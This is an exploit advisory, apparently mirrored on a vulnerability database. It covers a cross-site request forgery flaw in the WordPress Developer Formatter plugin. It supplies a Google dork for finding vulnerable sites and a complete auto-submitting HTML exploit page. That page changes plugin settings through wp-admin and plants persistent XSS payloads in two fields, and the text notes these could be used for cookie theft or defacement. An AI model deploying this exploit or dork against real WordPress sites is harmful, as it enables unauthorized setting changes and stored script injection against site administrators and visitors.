WordPress Plugin Developer Formatter - Cross-Site Request Forgery

🗓️ 22 Jan 2013 00:00:00Reported by Junaid HussainType

WordPress Plugin Developer Formatter - Cross-Site Request Forgery vulnerability, CSRF exploi

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# Exploit Title: Wordpress Developer Formatter CSRF Vulnerability
# Google Dork: inurl:devformatter/devformatter.php
# Date: 21/01/13
# Author: Junaid Hussain -[ illSecure Research Group ] -
# Contact: [email protected] | Website: illSecure.com
# Software Link: http://wordpress.org/extend/plugins/devformatter/
# Vendor: http://wordpress.org/extend/plugins/devformatter/
# Tested on: CentOS 5  
# Version: Wordpress Version 3.5, Should work on all versions.

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[#] Vulnerable Code
Page: devinterface.php - Line: 46  
 <form method="post" action="options-general.php?page=devformatter/devformatter.php">
[#] no nonce given - Read: http://codex.wordpress.org/Function_Reference/wp_nonce_field
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// CSRF Exploit:
<html>
<body onload="javascript:document.forms[0].submit()">
<form method="post" action="http://[DOMAIN NAME]/wp-admin/options-general.php?page=devformatter/devformatter.php">
<input name="usedevformat" style="display:none;" type="checkbox" checked/> 
<input name="copyclipboartext" type="text" style="display:none;" value="&lt;/textarea&gt;<script>alert(/xss/)</script>"  />
<input name="showtools" style="display:none;" type="checkbox" checked/> 
<textarea name="devfmtcss" rows="6" cols="60" style="display:none;"> 
	  body {
  background-image: url('javascript:alert("XSS");') !important;
}
&lt;/textarea&gt;
 </form></html>
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[#] copyclipboartext & devfmtcss are both vulnerable to persistent xss which could lead to cookie stealing,
    malware distribution or even a defacememnt.
[#] Disclaimer: This exploit is for Research/Educational/Academic purposes only, 
                The Author of this exploit takes no responsibility for the way
                you use this exploit, you are responsible for your own actions.	
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Original: http://illsecure.com/code/Wordpress-DevFormatter-CSRF-Vulnerability.txt

22 Jan 2013 00:00Current

7.4High risk

Vulners AI Score7.4